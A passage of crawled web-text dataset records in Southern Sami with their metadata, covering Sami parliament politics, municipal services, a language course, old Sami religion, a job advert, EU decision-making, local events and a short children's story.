NSR daan boelhken lea Saemie- digkien mineraalepolitihkem jarkeme jïh dåajvohte sagke striengkiesåbpoe årrodh goske mineraalelaake jorkese.\n– Mijjieh buektiehtimh Saemiedigkien gruvapolitihkem jarkelidh, mij lij eevre tjaajanamme, jïh mijjieh aaj buektie- htimh aktem tjïelke ijje Nussirasse åadtjodh Saemiedig- kesne. Daelie leajhtadimmien bïjre birrebe juktie barkoem illedh, Muotka jeahta.\nIllustrasjovneguvvie: Carl-Johan Utsi","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/nsr.no\/blog\/2017\/08\/29\/baatsoen-bearkadimmien-avteste-gaemhpoeh\/?lang=sma","date":"2020-10-25T17:12:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107889574.66\/warc\/CC-MAIN-20201025154704-20201025184704-00108.warc.gz","language":"sma","language_score":0.9999988079,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999988079071045}","num_words":424,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hokse, viehkie jïh dåarjoe\nGaajhkesh gïeh Sjeltesne årroeh edtjieh dåarjoem jïh viehkiem åadtjodh mah dah daarpesjieh guktie maehtieh meatan årrodh jïh jïjtjeraarehken jieledem jieledh.\nDaesnie maahtah lohkedh dïenesjen jïh dåarjoen bïjre mah tjïelte maahta faaledh.\nDïhte dan dåarjoen jïh dïenesjen bïjre dutnjien gie voerese jallh fysisken jallh psykisken funksjovneheaptojne. Maahta aaj naemhtie naaken daarpesje raerieh jïh viehkieh jis ekonomijen dåeriesmoerh, tsælloeh fuelhkesne, miedtemh, maanaj jïh noeri jallh mubpiej sosijaale dåeriesmoeri bïjre båånhtseridh.\nDïhte sosijaaledïenesjen dïedte voeresidie jïh svihtjemeheaptoesujhtemen åvteste jïh aaj aajnealmetje- jïh fuelhkiehoksem.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/asele.se\/saepmie\/hokse-viehkie-j%C3%AFh-daarjoe\/","date":"2020-10-29T04:32:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107902745.75\/warc\/CC-MAIN-20201029040021-20201029070021-00260.warc.gz","language":"sma","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 1.0000098943710327}","num_words":84,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.202,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gielebiesie\/Språkbad\nden 25-27 januari i Hattfjelldal\nBegränsat antal deltagare. Även familjer är välkomna!\nSom deltagare bör du kunna lite sydsamiska.\nKurs, boende och mat är gratis. Resan bekostar du själv.\nAnmälan senast den 19 januari till\nSagka Stångberg firstname.lastname@example.org 0046706218349\nGun-M.Utsi email@example.com 004791905029\nGïelebiesie\nTsiengelen 25-27b. Aarportsne\nGaertjiedamme låhkoe gïeh meatan. Fuelhkieh aaj åadtjoeh båetedh!\nBuerie ånnetji åarjelsaemien maahtah jis edtjah meatan årrodh.\nKuvsje, årrome jïh beapmoeh leah åesehts. Vuelkemem jïjtje åadtjoeh maeksedh.\nBæjhkoehtimmie minngemes tsiengelen 19b. Sagka Stångberg:se\nfirstname.lastname@example.org 0046706218349\nGun-M. Utsi email@example.com 004791905029","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/www.aktene.no\/gielebiesie-sprakbad\/","date":"2020-10-24T08:50:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107882103.34\/warc\/CC-MAIN-20201024080855-20201024110855-00303.warc.gz","language":"sma","language_score":0.9881616235,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9881616234779358}","num_words":79,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.038,"flagged_words_ratio":0.0,"lang_id_score":0.982,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Inga Anna Karin Buljo Áhren jïh Anita Dunfjeld-Aagård - Snåasen skuvle\nÅvtesne saemieh Nöörjesne, Sveerjesne, Soemesne jïh Russlaantesne sjïere saemien jaahkoem utnin. Båeries saemien religijovne lij eatnamasse gorreldamme.5\nSaemieh vïenhtin gaajhke eatnamisnie goh vaerieh, gierkieh, jaevrieh jïh moerh sealoem utnin.7\nDah vïenhtin veartene ovmessie daltesinie juakeme. Bijjemes elmie gusnie bijjemes jupmelh, gaskemes almetji jïh voejkeni veartene, jïh vöölemes Saajveaajmoe gåabph almetjh böötin gosse sealadamme.9\nRaejrie, biejjie, bïegke jïh jeatjah eatnemen faamoeh lin jupmelh. Jupmelh meehtin almetjidie viehkiehtidh vg. gööleminie, vijreminie jïh goh almetjh reakadin jïh sealadin.11\nBiejjie tjoevkem jïh baahkem vadta. Dan åvteste vihkele gaajhkide mah jielieminie. Biejjie stööremes eatnemen faamoe jïh iktegisth vihkele orreme saemide. Vaajesh soptsestieh saemieh biejjien maanah.13\nMaadteraahka vihkele jupmele mij abpe siebriedahkem vaarjeli. Dan leah golme dakterh. Saaraahka viehkiehti gosse maanah reakasovvin. Joeksaahka vijreminie viehkiehti jïh meehti boernesem jarkelidh guktie baernie reakasovvi. Oksaahka gåetien oksh jïh tjidtjetje-guaktah vaarjeli.15\nGosse almetjh sealadin, vïenhtin Saajveaajmose böötin. Saajveaajmoe lij ånnetji goh mijjen veartene barre sagki buerebe jïh tjaebpebe.17\nNåejtie lij almetji jïh jupmeli gaskem. Dïhte almetjh jealadehti, jupmelidie sjïeledi, nåajtoeji jïh meevri. Nåejtie meehti aaj Saajveaajmose vuelkedh raerien mietie gihtjedh.19\nGievrie, vietjere jïh viejhkie lin nåejtien dïrregh gosse edtji nåajtodh, meevredh jïh Saajveaajmose vuelkedh. Men sïejhme almetjh meehtin aaj gievriem utnedh, nuhtjedh, jïh numhtie vuejnedh guktie vijreme sjïdti jallh gåabph edtjin juhtedh.21\nIj naan gievrie seammalaakan, men maehtebe vuejnedh jis gievrie lea åarjelsaemien, julevsaemien jallh noerhtesaemien dajveste.23\nGievrine guvvieh ovmessie jupmelistie, juvrijste, vïnhtsijste, giedtijste, gåetijste jïh vielie.25\nSaemieh jupmelidie sjïeledin guktie dah edtjin gïemhpes årrodh jïh almetjidie viehkiehtidh. Sjïelemesijjieh meehtin årrodh vg. stoerre loedtehke gierkieh, svaalkh, såålh, plaassah jïh gaaltijh.27\nMeehtin aaj gåetesne sjïeledidh. Desnie sjïere nyjsenæjjah sjïeledin jïh sjïere Saaraahkese mij lij reakeds-jupmele. Saaraahka aernien nuelesne årroeji. Oksaahka oksen nuelesne jïh Joeksaahka dennie båassjosne, aejlies sijjie sisnjemes gåetesne.29\nMan åvteste vïenhth mijjieh jiehtebe saemien båeries religijovne eatneme-religijovne?31\nFoto\/ Myndir\/ Asseq\/ Valokuva\/ Govvá\/ Guvvieh\/ Nuotraukos\/ Fotod\/ Photo:\nS1+24: Old.no\nS4: Knud Leem (1767) - commons.wikimedia.org\nS6+16+26+30: Anita Dunfjeld-Aagård\nS8: Katarina Blind - (Gïelem nastedh 2016)\nS10+12: Pixy.org\nS14: Etter Ernst Manker - 1950\nS18: Johannes Schefferus - 1673 - commons.wikimedia.org\nS20: NTNU Vitenskapsmuseet - flickr.com + Nordiska Museet\nS22: Tor Gjerde - commons.wikimedia.org\nS28: Liisa Jåma - Saemiensitje - instagram.com","id":"","dump":"CC-MAIN-2020-50","url":"http:\/\/atlantbib.org\/nn\/node\/1765","date":"2020-11-29T19:47:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141202590.44\/warc\/CC-MAIN-20201129184455-20201129214455-00000.warc.gz","language":"sma","language_score":0.9998728037,"language_script":"Latn","minhash_cluster_size":47,"top_langs":"{\"sma_Latn_score\": 0.9998728036880493}","num_words":347,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkien bïjreSaemiedigkie edtja saemiej politihkeles sijjiem nænnoestidh jïh saemiej ïedtjh Nöörjesne eevtjedh, viehkiehtidh guktie saemien åålmege seammavyörtegs jïh rïektes gïetedimmiem åådtje jïh sjïehteladtedh guktie saemieh maehtieh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahkejieledem gorredidh jïh evtiedidh. Saemiedigkie Noerhtesaemien: Sámediggi Julevsaemien: Sámedigge Pijtesaemien: Sámedigge Upmejesaemien: Sámiediggie Skoltesaemien: Sää´mtee´ǧǧ Altese Majesteete Gånka Olav dam voestes Saemiedigkiem rïhpesti golken 9.b. 1989. Saemiedigkie lea saemien åålmegen almetjeveeljeme parlameente Nöörjesne jïh lea jïjtjeraarehke almetjeveeljeme årgaane. Goh saemiej almetjeveeljeme årgaane Nöörjesne Saemiedigkien ulmie lea jååhkesjimmien åvteste barkedh saemiej maadthreaktijste goh våarome saemien kultuvrem, gïelem jïh siebriedahkejieledem jïh veasomem ovmessie saemien aerpievuekijste gorredidh jïh nænnoestidh. Saemiedigkie edtja saemiej politihkeles sijjiem jïh saemiej ïedtjh Nöörjesne eevtjedh jïh meatan årrodh seammavyörtegs jïh rïektes gïetedimmien åvteste barkedh saemien åålmegistie. Saemiedigkie lea demokraateles dïrrege saemien jïjtjenænnoestæmman jïh evtiedimmien gaavhtan nuhteligs jïh daerpies dïenesjijstie jïh faalenassijste saemien årroejidie. Saemiedigkie lea saemiej gïele nasjonaale jïh gaskenasjonaale. Saemiedigkie sæjhta viehkiehtidh guktie reaktah EN:n bæjhkoehtimmesne aalkoeåålmegi reaktaj bïjre meatan vaaltasuvvieh laaki jïh praktihkeles politihken sïjse mah mijjen aarkebiejjiem baajnehtieh. Saemiedigkie parlamentarihkeles prinsihpen mietie stuvresåvva, gusnie dihte tjahkan Saemiedigkie stoerretjåanghkoen leajhtadimmiem våaroeminie åtna sov barkose. Saemiedigkien stoerretjåanghkoe lea Saemiedigkien bijjemes årgaane jïh byjjesfaamoe. Digkie sov barkoem stuvrie dej mieriej sisnjeli mah leah vadtasovveme Laakesne Saemiedigkien bijre jïh jeatjah saemien reaktatsiehkieh (Saemielaake). Stoerretjåanghkoe digkien barkoeöörnegem vihteste, njoelkedassigujmie jïh bihkedassigujmie abpe dan barkose maam Saemiedigkie dorje. Njieljie moenehtse- jïh stoerretjåanghkoeh fïerhten jaepien. Saemiedigkieveeljeme hööltesåvva fïerhten njealjeden jaepien seamma biejjien goh stoerredigkieveeljeme. Saemiedigkie lea saemiedigkieveeljemen bijjemes veeljemefaamoe. 7 veeljemegievlieh mah abpe laantem geptjieh, fïerhte veeljemegievlie mandaath åådtje dan låhkoen mietie mah leah almetjelåhkose tjaalasovveme gievlesne. Tjåanghkan 39 tjirkijh veeljesuvvieh abpe laanteste.","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/sametinget.no\/saemiedigkien-bijre\/saemiedigkien-bijre\/","date":"2020-12-05T11:52:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141747774.97\/warc\/CC-MAIN-20201205104937-20201205134937-00705.warc.gz","language":"sma","language_score":0.9999964237,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999964237213135}","num_words":259,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.166,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Enhetsleder sørsamisk språk og kultur\nSnåasen tjïelte lea gaskoeh åarjelsaemien dajvesne. Gellie saemien gïehteldimmieh jïh åejvieladtjh leah Snåasesne, Saemien Sijte, Duodjeinstituhtta,Gaskedajven båatsoesïjte, Åarjel-saemiej skuvle jïh maanagïerte. Åarjel-saemiej skuvlen internaate, Noerhte-Trööndelagen båatsoeburriejreereme, Saemiedigkie, NRK Sápmi.\nEktievoeten åvtehke åarjelsaemien gïele jïh kultuvre\nSnåasen tjïeltesne akte 100 % barkoe goh ektievoeten åvtehke Åarjelsaemien gïelen jïh kultuvren ektievoetesne mænngan daaletje åvtehke orrije jïjtse vyjjen mietie. Ektievoeten åvtehke edtja Snåasen tjïeltem guhkiebasse evtiedidh saemien gïelen reeremedajvesne, viehkine åarjelsaemien gïelem jïh kultuvrem vååjnedehtedh jïh jieliehtidh jïh funksjonelle guektiengïelevoetem eevtjedh Snåasesne. Jïh aaj viehkiehtidh åarjelsaemien gïelem jïh kultuvrem nænnoestehtedh tjïelten årganisasjovnesne. Ektievoeten åvtehke sæjhta dïedtem utnedh stuvremen, reektemen jïh aamhtesereeremen åvteste sov aamhtesesuerkien sisnjelen, jïh edtja aaj tjïelten bieleste årrodh ålkolen jïh aktivyöki barkedh jeatjah tjïelten ektievoetigujmie jïh byjngetje laavenjastoeguejmiejgujmie. Mijjieh sïjhtebe ohtsije maahta dallatjinie aelkedh.\nMaahtoekrïevenassh:\n– sjyöhtehke ööhpehtimmie universiteete \/jïlleskuvledaltesisnie\n– dååjrehtimmie prosjektebarkoste\n– illedahke- jïh prosessem ulmine utnedh\n– hijven daajroe åarjelsaemien gïelen jïh kultuvren bïjre\n– væjkele njaalmeldh jïh tjaaleldh govlesadtedh\n– maahta eadtjohkevoetem sjugniedidh\n– væjkele laavenjostedh\n– akte aevhkie vihtiestamme åvtehkedååjrehtimmine\nMaehtebe faalehtidh\n– gieltegs barkoelaavenjassh\n– eadtjohke meatanbarkijh\n– baalhka maahtoen jïh latjkoen mietie\n– hijven pensjovneöörnege\nVielie bïevnesh barkoen bïjre åadtjoeh jis soptsesth raerieålmine Truls Eggen tell. 741 38204 \/482 46 507.\nOhtsemem bööremes seedth elektrovneles goeresne. Maahtah ohtsemem CV:ine aaj seedtedh diekie, Snåasen tjïelte, Sørsivegen 6, 7760 Snåase\/Snåsa.\nOhtsememierie 23.01.17.\nSnåsa kommune er sentralt plassert i det sørsamisk område. En rekke samiske virksomheter og myndigheter er lokalisert til Snåsa, Saemien Sijte, Duodjeinstituhtta, Nord- Trøndelag Reinsamelag, Åarjel- saemiej skuvle jih maanagierte, Åarjel-saemiej skuvlen internate, Reindriftsforvaltning i Nord- Trøndelag, Saemiedigkie\/Sametinget, NRKSápmi.\nEnhetsleder sørsamisk språk og kultur\nSnåsa kommune har ledig 100% stilling som enhetsleder for Enhet for sørsamisk språk og kultur etter at nåværende leder etter eget ønske går over i ny stilling. Enhetsleder skal arbeide med å videreutvikle Snåsa kommune i forvaltningsområdet for samisk språk ved å synliggjøre og vitalisere sørsamisk språk og kultur og fremme funksjonell tospråklighet i Snåsa. Videre bidra til å styrke sørsamisk språk og kultur i kommunens organisasjon. Enhetsleder vil ha ansvar for ledelse, rapportering og saksbehandling innenfor sitt saksfelt, og skal videre ivareta representasjon utad og samhandling med øvrige kommunale enheter og eksterne samarbeidspartnere. Vi ønsker snarest mulig tiltredelse.\nKvalifikasjonskrav:\n– relevant utdanning på universitet \/ høgskolenivå\n– erfaring fra prosjektarbeid\n– resultat- og prosessorientert\n– god kunnskap om sørsamisk språk og kultur\n– god kommunikasjonsevne både muntlig og skriftlig\n– evne til å skape engasjement\n– gode samarbeidsevner\n– det er en fordel med dokumentert ledererfaring\nVi kan tilby:\n– spennende arbeidsoppgaver\n– engasjerte medspillere\n– lønn etter kvalifikasjoner og avtale\n– god pensjonsordning\nNærmere opplysninger om stillingen fås ved henvendelse til Truls Eggen tlf. 74138204 \/ 482 46 507.\nSøknad sendes fortrinnsvis på elektronisk skjema. Søknad med CV kan eventuelt også sendes til Snåsa kommune, Sørsivegen 6, 7760 Snåsa. Søknadsfrist 23.01.17.","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/gielemnastedh.no\/2017\/01\/ledig-stilling-2\/","date":"2020-11-26T00:29:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141185851.16\/warc\/CC-MAIN-20201126001926-20201126031926-00421.warc.gz","language":"sma","language_score":0.9702990055,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9702990055084229, \"sme_Latn_score\": 0.027835434302687645}","num_words":425,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":0.983,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Europeijen raerie – tjåanghkoe EU-laanti åejviej gaskem\nEuropeijen raerie rïektesïevide tjaaleste EU-laavenjostemen åvtese guhkebe tïjje, mohte ij EU-njoelkedassi bïjre sjæjsjelh. Dah njielje aejkieh fïerhten jaepien tjåanghkenieh. Jis daarpesje dellie maahta lissietjåanghkoem öörnedh.\nEuropeijen raeresne åejvie, EU-laanti staate- jïh reerenasseåvtehkh jïh kommisjovnen åejvie. Europeijen raerie åejviem veeljie boelhkese mij lea göökte jïh bielie jaepieh.\nGuktie EU sjæjsjalidh?\nSveerje jïh dah jeatjah lïhtsegelaanth ektesne sjæjsjalieh orre EU-njolkedassi bïjre. Dïhte sæjhta jiehtedh Sveerje maahta EU:en sjæjsjalimmieh tsevtsedh, bene muvhtene aaj Sveerje tjuara EU-sjæjsjalimmiem dåeriedidh jïlhts ij Sveerje dam sïjhth utnedh.\nNaemhtie jåhta gosse Sveerje jïh dah jeatjah lïhtsegelaanth seamadieh orre EU-njoelkedassi bïjre:\n1. EU-kommisjovne orre laakem evtede\nEU-kommisjovnen laavenjasse lea orre laakh evtiedidh. Gaajhkh lïhtsegelaanth tjirkijem åtna kommisjovnesne. Dah kommisjovnijh edtjieh vuartasjidh åålesth EU:en bööremes jïh eah leah tjirkijh dej respektijveles laanti åvteste.\n2. Reerenasse jïh rïjhkebiejjie nænnoestieh\nEU-kommisjovne dej uvtelassh seedtie gaajhkide lïhtsegelaantide. Sveerjesne dah reeremasse jïh rïjhkebeajjan båetieh. Reerenasse rïjhkebiejjiem beavna dan vuajnoen bïjre jïh dååste rïjhkebiejjien vuajnojde. Dïhte lea reerenasse gie Sveerjen åvteste soptseste.\n3. Europaparlamente sjæjsjele\nEuropaparlamente lea meatan jïh EU:en orre laaki bïjre sjæjsjele. Dah tjirkijh lea veeljeme sïejhme veeljeminie jïh 21 dejstie lea Sveerjesne veeljeme.\nEuropaparlamente sjæjsjele ministereraerien ektesne jeenjemes gyhtjelassine. Muvhtine gyhtjelassine ij Europaparlamente sjæjsjelh. Dïhte lea vuesiehtimmien gaavhtan EU:en ålkoerïjhke- jïh vihtiesvoetepolitihke.\n4. Ministereraerie sjæjsjele\nDïhte sveerjen reerenasse jïh gaajhkh dah jeatjah reeremh EU-laantine lea meatan akte ministerinie EU:en ministereraeresne. Ministereraerie sjæjsjele orre EU-laaki bïjre.\nDïhte sveerjen reerenasse lea åvtelhbodti evtielassem rïjhkebiejjine digkiedamme.\n5. Sveerje laakem tjïrrehtidh\nGosse ministereraerie lea sjæjsjalamme orre laaken bïjre edtja Sveerje jïh dah jeatjah lïhtsegelaanth laakem sjïehtesjidh. Muvhtene rïjhkebiejjie daarpesje sveerjen laakine jeatjahtehtedh guktie edtja sjïehteladtedh dejnie EU:en orre laakigujmie. Jeatjah sjïekesne EU:en laake ryöktesth jåhta.\nRïjhkebiejjie goerehte\nDan baalte goerehtidh jïh vuajnoeh mïeledh reerenassese rïjhkebiejjie åtna, seamma goh dah parlamenth jeatjah laantine, aaj jeatjah laavenjassem åtna. Gosse EU orre laakh evtede sjïere suerkine edtjieh dah parlamenth lïhtsegelaantine goerehtidh jis dejtie njoelkedasside daarpesjieh EU-daltesinie jallh jis buerebe jis fïerhte laante dej njoelkedassij bïjre jïjtje sjæjsjalidh. Goerehtimmeste maahta sjïdtedh kommisjovne tjuara dan evtielassem ikth vielie pryövedh.\nMaam deahpade jis Sveerje ij EU:en njoelkedassi mietie dåeriedidh?\nEU-kommisjovne vååksje laanth dejtie laakide dåeriedidh mejtie EU lea sjæjsjalamme. Jis kommisjovne meala Sveerje ij dejtie laakide dåeredh maahta kommisjovne Sveerjem steemmedh EU-dåapmoestovlesne.\nEU-dåapmoestovlen laavenjasse lea dellie nænnoste jis Sveerje lea EU:en njoelkedassi vööste mïedteme. Sveerjen dåapmoestovlh maehtieh aaj EU-dåapmoestovlese govlesadtedh gyhtjelassigujmie guktie EU:en njoelkedasside edtja toelhkedh.\nJis meala Sveerje jallh jeatjah lïhtsegelaante eah EU:en njoelkedasside dåeriedidh maahta dam bæjhkoehtidh EU-kommisjovnese.\nEU-kommisjovne\n- Kommisjovnijh edtjieh ållesth EU:en bööremes vuejnedh jïh eah leah representantide dej respektijveles laanti åvteste.\n- EU-kommisjovne nommedahta vïjhten jaepiej raejesne lïhtsegelaanti reerenassijste.\n- Europaparlamente edtja EU-kommisjovnem dåhkasjahtedh.\nEuropaparlamente\n- Dïhte lea veeljeme fïerhten vïjhteden jaepien Europaparlamentese.\n- Otnjegh fïerhten laantesne dej tjirkijh tjaatsestidh.\n- Laanth stoerre åålmeginie jienebe representanth utnieh enn laanth onne åålmeginie.\nMinistereraerie\n- Dïhte ministere reerenassesne man dïedte gyhtjelassine ministereraerien meatan. Jis dïhte lea vuesiehtimmien gaavhtan byjresegyhtjelassh mah leah biejjieöörnegisnie dellie byjreseministere meatan.\n- Jeenjemes gyhtjelassine maahta ministereraerie sjæjsjalidh gosse jienebelåhkoe meala evtielassem dåarjodh. Muvhtine gyhtjelassine tjuerieh gaajhkh ministerh seamadidh åvteli maehtieh sjæjsjalidh.\nEU-dåapmestovle\n- EU-dåapmoestovle dåapmerem fïerhten EU-laanteste åtna.\n- Lïhtsegelaanti reerenassh dåapmeridie govhten jaepieh neebnesuvvieh.","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/eu.riksdagen.se\/global\/other-languages\/aarjelsaemien\/","date":"2020-11-25T01:57:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141180636.17\/warc\/CC-MAIN-20201125012933-20201125042933-00106.warc.gz","language":"sma","language_score":0.9999793768,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.9999793767929077}","num_words":500,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Raasten rastah lea tjåanghkoesijjie gusnie tjeahpoe- jïh kultuvredarjomh jarngesne, gåabph almetjh båetieh ihke jeatjabinie gaavnedidh jïh lustestalledh.\nJoekehth faaleldahkh gusnie saemien vytnesjæjjah jïh tjiehpiedæjjah maehtieh vuesiehtidh mejnie gïehtelieh jïh berkieh, dovne dah mah guhkiem gïehtelamme jïh dah mah orresth aalkeme. Gallesigujmie laavenjostebe juktie dam tjåanghkoesijjiem buektiehtidh.\nRoehteme; gaahtjeme jallh barre lusten gaavhtan.\nGie jualkijommes åarjene? Dïhte njolhtjeles Gaarpedaelien kaarre, dïhte muetkies Herjedaelien nyjsene, akte lokaale Plassjelassje jallh naan jokere noerhtelistie? Bïeljelh jis datne sïjhth Raasten Rastah Race:m dåeriedidh!\nMijjieh baalkaj mietie, båskoej tjïrrh, råabpi jïh plueviej bijjelen roehtebe, novh tjoerh dovne jolle pulsem jïh bïevestahkem vuertedh. Mejtie sïjhth gaahtjedidh, jallh ajve slaangkedh, dle maahtah dam, tïjjen namhtah. Roehteme \"bijjene Vola:sne\", mohte dovne aalkoe jïh mååle Storstuggusne. Sjïere baalka maanide, jïh gaajhkh maanah mah tjïrrehtieh maam joem vitnieh.\nJoekoen Fjell-regiovnen skævkehkh sïjhtebe Raasten Rastah Race:se böörestidh.","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/raastenrastah.no\/sma\/portfolio\/tjeahpoe-jih-kultuvre\/","date":"2020-11-25T00:18:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141177607.13\/warc\/CC-MAIN-20201124224124-20201125014124-00586.warc.gz","language":"sma","language_score":0.999997735,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9999977350234985}","num_words":135,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bienje seangkoen nuelesne guarjan, gaahtoe jis buertien nille goetseme. Bienje seangkoen nueleste båata, vuajna gaahtoe buertien nelnie. Soejmi buertien gåajkoe njaaka, buertien lihke båata dle aalka snirredh. Gaahtoe dam govlije, dallah buertien nelhtie njulhtjie, vualka vuebnien nualan tjaangele, debpede dle bienjese snærra jih baenieh vuesehte. Bienje jis håhta. Tjidtjie fehkehte gob gåvla bienje håhta. Govloe joe kåaveste bienjem næhta. Ij dihte orrijh huhtiemistie. Gob tjidtjie tjøøkese tjaanga dellie bienje skaemiegåadta, vualka, siejpine juelkiegaskesne, oksen duakan tjiekede. Ånnetji dle oksen duekeste guavla, bieljieh lea viht tseegkeme jih dle tjædtjan fovresje.","id":"","dump":"CC-MAIN-2020-50","url":"http:\/\/sijtijarnge.no\/bienje-jih-gaahtoe\/","date":"2020-11-28T08:35:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141195198.31\/warc\/CC-MAIN-20201128070431-20201128100431-00435.warc.gz","language":"sma","language_score":0.9993428588,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9993428587913513}","num_words":89,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.034,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien siebriedahkesne miehtjiesdajvejielemh vihkeles sijjiem utnieh goh saemien jieleme jïh kultuvreguedtije, dan åvteste Saemiedigkie sæjhta miehtjiesdajvenuhtemem\/jielemem vaarjelidh jïh evtiedidh. Saemiedigkie sæjhta bueriedimmien åvteste barkedh mierietsiehkijste jïh infrastruktuvreste.\nMiehtjiesdajvejieleme stoerre evtiedimmienuepieh åtna jïh daan mearan ij leah gaajhkem nuhteme, jïh sæjhta reaktoe viehkine jeereldihkie jieliemassem evtiedidh jïh årromem saemien dajvine nænnoestidh.\nEvtiedimmieulmie miehtjiedajvejieliemidie lea aarvoesjugniedimmiem saemien dajvine lissiehtidh buerebe mieriekrïevenassi tjïrrh jïh nuhtemen tjïrrh miehtjiesdajvedorjesijstie.\nSaemiedigkien vierhkievierhtieh maehtieh skåårvemh årrodh gåetine jïh dalhketjinie. Beetnehvierhtieh Saemiedigkeste maahta vihkeles årrodh juktie jeatjah beetnehvierhtieh åadtjodh.\nLohkh vielie saemien miehtjiesdajveåtnoen bïjre daesnie","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/sametinget.no\/jieleme\/miehtjiesdajvejielemh\/","date":"2020-12-05T11:26:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141747774.97\/warc\/CC-MAIN-20201205104937-20201205134937-00266.warc.gz","language":"sma","language_score":0.9999777079,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999977707862854}","num_words":87,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.105,"stopwords_ratio":0.184,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guvvie: Sven Henriksen\nSoptsestimmieteatere \"Sïlpegaaltije\/Sølvkilden\" Åarjelhsaemien Teatere.\nRaasten rastah aavone juktie Åarjelhsaemien Teatere jïh Cecilia Persson vihth «Sïlpegaaltijem» mijjese ohtseme, jïh daelie edtjieh orre maanaboelvese dam vuesiehtidh.\nCecilia Person jïh Charlotte Kappfjell soptsestimmieteaterem Sïlpegaaltije vuesiehtægan, joejkemi- jïh vaajesigujmie åarjelsaemien dajveste. Åadtjobe bïernen, tjoejki, staaloen jïh gelliej jeatjah bïjre govledh. Jïh jiehtieh aaj naan daejstie vaajesistie öövre saatnan.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/raastenrastah.no\/sma\/teatere-silpegaaltije\/","date":"2021-01-25T13:21:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703581888.64\/warc\/CC-MAIN-20210125123120-20210125153120-00563.warc.gz","language":"sma","language_score":0.999890089,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9998900890350342}","num_words":57,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Irhkeldh almaj dååjrehtsh gïeh joe geajnosne buereben jieliemasse.\nDÅHKASJEHTIEH DATNE SEKSUELLELIGKE IRHKESOVVEME\nDïhte mij orreme lea vaaseme. Ij leah aevhkie pryövedh vååjeldehtedh, juktie bahhas mojhtesh jïh bååktjesh 